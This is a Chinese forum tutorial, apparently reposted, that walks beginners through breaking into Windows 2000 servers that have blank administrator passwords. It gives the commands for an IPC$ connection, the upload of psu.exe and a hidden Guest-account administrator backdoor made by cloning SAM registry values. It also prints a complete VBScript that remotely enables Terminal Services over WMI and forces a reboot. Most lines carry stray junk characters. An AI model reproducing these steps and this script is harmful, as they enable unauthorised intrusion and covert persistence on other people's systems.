|
一次简单的3389入侵过程
4 k% j# W4 |/ x3 S$ }4 u; e! i: p原创:caozhe(草哲)
; B9 @* J; \2 f0 E ^来源:中国欲网技术论坛--草哲 ( M- P# P/ z3 J
: H/ _( w; l/ {4 |+ ]: U, |9 E$ `我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!6 H3 E2 U$ I( R
! J; }4 U! T# \( j9 J* ]0 f4 s/ R于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
m' i0 Y4 Q. J要入侵,我建议你在win2000环境下来*作!; a: G) T0 [0 E1 D9 I5 [
$ t' T1 h1 W4 I, W1 Q
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!" P" L. \- p4 K4 ^/ X$ p
扫描的X-Scan V2.3、WINNTAutoAttack、流光!0 z) w+ C! l9 } u, w/ B
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
" P: \. o9 X. A' A4 u( U远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
7 d7 c9 \5 j+ ?4 J, Y* @: r5 _0 }( j克隆帐户用个psu就可以了~!" Y, e: w" i. j$ S( r0 N/ a
' h3 I0 j8 i. {2 c Z# X1 e: jOK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空2 {. q7 Y9 A: V* v4 ^! Q
运行CMD(2000下的DOS),我们给它开终端!
- Z# m. L1 _) S& q) [( N' x命令如下!
& z9 l6 o& F$ P9 M) j2 ]cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr3 w1 @. x9 Z1 X; y) _
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
5 i' R# C8 |5 q9 g3 F0 r) d8 K4 ?. C9 g
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!4 u0 ?9 n0 E% J5 d1 ^& A
: O& l$ x% j5 \, C7 n7 e
一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
2 C% h- o, p# o3 j安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
7 z% o0 R3 [; k9 U6 U' Z# `; K8 h9 C, y5 b8 i
回到DOS下!我们建立IPC$连接!/ r2 V9 |5 e# A9 b3 w
net use \\120.0.0.1\ipc$ "" /user:"administrator"
) g& I/ v+ B5 ~这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!1 N0 b/ [: } ?, }3 `2 s
copy psu.exe \\120.0.0.1\admin$\system32
7 O, N. R: d9 k) Q" s8 J上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
' x6 ]/ Y! l1 j1 U5 ~; f5 H" S2 ]" S" k5 {! H6 F( O, M
假设guest用户被禁用,我们就是要利用guest做后门帐户!
* p0 C' v6 d6 P$ N$ b# W# k I/ K在该服务器运行CMD,在命令行下输入
g. K8 i7 n1 Q2 c; Wpsu -p regedit -i PID, p0 Z) ^6 N; @! t- W
8 S, s0 \. Z: Y+ |7 i* V6 ]3 O这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
) p1 U& b5 `4 r2 A# J y+ Y! `看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
( e9 H4 y4 x) L y2 P: @: a/ [那么,命令就是这样
s! w7 X" i. R. B0 w+ rpsu -p regedit -i 5458
- p8 {: T: g; [# d# ]这样直接打开注册表,可以读取本地sam的信息。 g) G0 A! B. F* H( v8 l5 g7 A
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users6 m- ~* i/ i0 x
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
* ]& R7 [/ j" e/ y% g4 {0 jHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
7 U0 s" c8 w. b7 l# W8 d: D K# E' _& L查看administrator的类型,是if4,再看guest的是if5
+ ]+ Q' N" O! z! u4 ?好了,知道了类型后,打开
) Q+ Q6 ?4 s( Q; WHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
+ k7 C3 r+ {! S这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开$ S/ P5 v+ Z. `! Q/ H- x& z7 J" [- C
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5$ K8 T n: d. D3 W, G! ^
双击右侧的F,把刚复制的粘贴到里面!) B: I2 B$ R6 p6 h# v$ C
1 }3 z4 P$ }8 @4 T H做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
1 V9 U" G( [& E2 M# l和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest* G: D6 W2 a+ j; c/ N' y5 c. i
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
& y$ h" _% Q2 Y& w
. T1 u: s3 o! `4 N6 X- Y打开CMD,在命令行下输入5 f& {7 l6 ], D* ^" ^
net user guest password9 Z# S/ ~* Y4 N! I @' f5 \
这条命令是给guest设置密码,后面的password就是密码( H; d) M. N, |
然后输入% W% `' z- }5 H3 X8 ^
net user guest /active:y2 B: E9 J, @8 R' v, K
这命令是激活guest帐户,然后我们把他禁用
, h, h6 g' ^3 m' y/ ]8 Xnet user guest /active:n [5 R, \. Q6 e4 W5 R
上面的三行命令必须在DOS下执行!
0 D Q) ]# [* H3 A9 O8 ]. q) o+ e; v/ i ~
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!+ i6 [* s/ x5 ?/ s5 N+ z8 c I! {. q
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!
* j2 ~7 p5 d! y5 j5 @: r4 l! i5 x# i& e; w+ ?3 u& a! j
注销一下,用guest登陆吧!# g1 V# J: E' r: ?4 P3 ~7 Q
9 \ K9 ?* f7 g3 h6 r5 w打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!% v6 @$ x; z8 P4 w" Z q# ^
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
; ~$ }0 _. d7 s3 P$ m% R# A* F+ g
4 t5 O+ Y- K g$ Q0 z) a因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!; A. B0 C* c4 ~0 C% N" [
; T* O; {( Q' g----------------------------------------------------------------------
$ b- j+ E" Q3 a: u& {2 M以下是开终端的脚本,把它存为*.vbe
$ d- b' G4 Q- @* r; {. q6 ton error resume next
' [ @, Y* S9 k h7 n( @set outstreem=wscript.stdout, G: {0 o9 \, W) Q5 f" o6 U/ e. U
set instreem=wscript.stdin* H; E o, g" q; w. n! q& s1 I" d
if (lcase(right(wscript.fullname,11))="wscript.exe") then+ K* p' @1 I h o j
set objShell=wscript.createObject("wscript.shell")
* T( j& q0 h1 V9 o% E* q objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))' _: }$ y9 P$ Q9 y" u
wscript.quit1 t2 h' f/ @9 G$ w- e
end if; t; z$ v* A5 P% o6 b8 G& g
if wscript.arguments.count<3 then
! B; D* w. f% ~+ v usage()) T& x0 p6 u) i# W
wscript.echo "Not enough parameters."$ p" R, x; B& W8 M4 k6 f
wscript.quit
8 @( X& Q r5 s3 N& Yend if
0 r$ K$ z0 p, x- T: e( H; o" U4 |1 Y! K3 ]! F3 f6 U, p
ipaddress=wscript.arguments(0)
0 u4 J$ A- q6 @username=wscript.arguments(1)
4 y! u W3 F+ V x0 y1 Cpassword=wscript.arguments(2)$ d( b# R+ H7 v+ z7 r
if wscript.arguments.count>3 then
- d3 j( V4 M) f, ~& j. V port=wscript.arguments(3)
6 Z$ `: ?& e/ o/ Q* D) v! W$ a& Nelse
3 M9 [/ w3 r" { port=3389
* {! A" ?; K2 b& W9 jend if
" k0 t7 t, L) R8 w" {4 dif not isnumeric(port) or port<1 or port>65000 then8 z! L" O8 k; y$ `! t
wscript.echo "The number of port is error."
5 j) A9 f- g9 N4 s g wscript.quit( B! ~" S/ s, q W' m8 K! a* G
end if# A- H/ _* j" H& N' q5 C; d& H; Q
if wscript.arguments.count>4 then
/ M4 ^3 p ]: J reboot=wscript.arguments(4), e* q. V# W" B7 ^
else
6 a% [% v) Q4 r; Q reboot=""8 g9 {! ~& v8 u; b- W( c& a' _
end if
7 {; p" n5 ]0 ~
8 i. t7 ?, ]9 |) }usage()+ |) p% ^- n4 o5 j$ K$ F5 ]# d( g" r' u
outstreem.write "Conneting "&ipaddress&" ...."
- c4 n) \. r" p3 oset objlocator=createobject("wbemscripting.swbemlocator")9 V8 D4 k% p, b S8 w: `
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)0 J- |. C; V9 h) e, g% P$ `
showerror(err.number)' l( ^7 _% h( T- J* y- z2 ~
objswbemservices.security_.privileges.add 23,true( u$ j# I- b5 l9 ], e
objswbemservices.security_.privileges.add 18,true3 |& x5 h5 H5 s5 W: e4 y
2 M) K: |1 T" U% v/ c. poutstreem.write "Checking OS type...."! t* ^6 f; c3 [6 \1 |( j+ |
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")4 J/ X/ G. J n# S
for each objinstoscaption in colinstoscaption1 |+ @1 | _. Q9 ~/ k. a
if instr(objinstoscaption.caption,"Server")>0 then
4 X6 ^% g# q+ r: H wscript.echo "OK!"
: f" p1 V! e% u' F- D' V' ] else
$ Y) h% x! M8 x% u wscript.echo "OS type is "&objinstoscaption.caption+ J- f: F1 X1 d0 v9 K+ @: f- B
outstreem.write "Do you want to cancel setup?[y/n]"
" u7 a; l9 `0 X) S/ \ strcancel=instreem.readline0 w2 Z. h0 n' {' A7 @
if lcase(strcancel)<>"n" then wscript.quit8 ?, e; @' x* P; B" g
end if
. t. i0 _ ]- z. gnext# @- x" Z5 c4 q0 t& d
4 r1 V+ o1 s: @7 ?1 e% `, t; \3 M
outstreem.write "Writing into registry ...."
* @7 |" D% w' `2 A8 W# q3 `set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
. b# l# q9 T6 uHKLM=&h800000023 M4 e( g- A/ }
HKU=&h80000003
# \9 s" K: T T1 e4 j) |8 u4 V' hwith objinstreg
: y' T0 m% w' Z& B2 B.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"5 h) }1 K9 Y/ I9 |" b6 ~0 R( c z
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0% \: d0 y6 x& Q' L4 }& d
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" P, U7 [( V) W" U/ v
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",13 B% Q( E' l" \$ f$ ?& P4 g* ~
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1. G% F! }- g/ N& v# s
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
. v) e. }/ k7 k, k2 i* X.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
: O" r# {& P- P8 ?.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
; a# _1 D* v+ w8 C$ L( U1 Q.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port5 D( y6 H9 P# E5 X
end with8 y/ A7 }: Y/ x: j
showerror(err.number)2 K$ ?% d8 I& d
' p% C& i5 U* b r
rebt=lcase(reboot)
r9 l4 B3 A% v% v0 B1 M$ y5 tflag=04 R9 I' j$ S5 R, y" C
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2; Q8 M5 R0 F' P8 a( {+ Q
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6$ P% N7 Z1 l$ z1 ^$ p5 k" n
if flag<>0 then8 z3 g7 }5 ?1 i+ t3 X5 c+ F1 i
outstreem.write "Now, reboot target...."5 |+ f! \( x$ _: l5 X( Y
strwqlquery="select * from win32_operatingsystem where primary='true'"
4 k7 F* E; H+ p# h O p set colinstances=objswbemservices.execquery(strwqlquery)
0 D& J' _* u$ S @' [ for each objinstance in colinstances; d- s% {% `. U5 D3 G
objinstance.win32shutdown(flag)
2 f- [* G9 T# {; b2 J' S next; j9 q4 Y# D( G2 F* v
showerror(err.number)$ B7 C7 d5 ]- b! `, V, i$ h+ u
else+ C' X% N/ C4 x5 ^6 c4 c1 A8 T
wscript.echo "You need to reboot target."&vbcrlf&"Then,"+ i/ ^3 c- B# \+ T3 X
end if2 }6 K* s3 r9 f+ `9 ^( ?: W
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"2 Z9 v/ E. R+ }3 K. f* |
0 Z! Z4 g: q9 D5 T* E( X; r, M% ?function showerror(errornumber)
0 o+ d2 p) C- R5 _' U7 c" M# ` ]if errornumber Then
4 y: j, X& ^! { wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
0 n7 k# e; o0 n) ^: N if err.description <> "" then9 a) \2 D* n- y( s' K$ B- E2 c
wscript.echo "Error description: "&err.description&"."+ u ^, b5 ?5 e# ?
end if0 `+ E, U6 u. m
wscript.quit
5 a: H+ b5 }! i- xelse
+ K* J+ ?1 x1 P' g0 _$ [* n* ] wscript.echo "OK!"# O2 I- G. o) L* m/ | R7 d/ f' o% i
end if
, a2 x4 T. }* e3 O. gend function3 z! K+ J7 m4 \% H
% b4 d$ k- X' E% ~# `( @function usage(): e! I6 e) `) M4 G
wscript.echo string(79,"*")
/ A" p& v$ V, l5 ^* o/ N% xwscript.echo "ROTS v1.05", P$ A3 H6 P8 ^9 T$ a' i0 C( T
wscript.echo "Remote Open Terminal services Script, by 草哲"0 t8 q1 [/ l4 U, E, z, ]2 H+ A. f
wscript.echo "Welcome to visite www.5458.net"
{1 Q9 k1 N* L; D( ]% @+ iwscript.echo "Usage:"
- d Y; T; C- T! p& D$ Y$ Xwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"+ E' ~+ C) }3 o \
wscript.echo "port: default number is 3389."2 [. Z5 e6 ?: I- W
wscript.echo "/r: auto reboot target."
0 r: n( g/ L+ s8 V- awscript.echo "/fr: auto force reboot target."
6 q" R( v3 \* P% ewscript.echo string(79,"*")&vbcrlf" i' ]" Y' [5 I5 j& \
end function5 @' D2 n, F4 f k6 w( o9 {. v! x
5 J0 f, J" v5 f \" F
转自安全焦点 |
|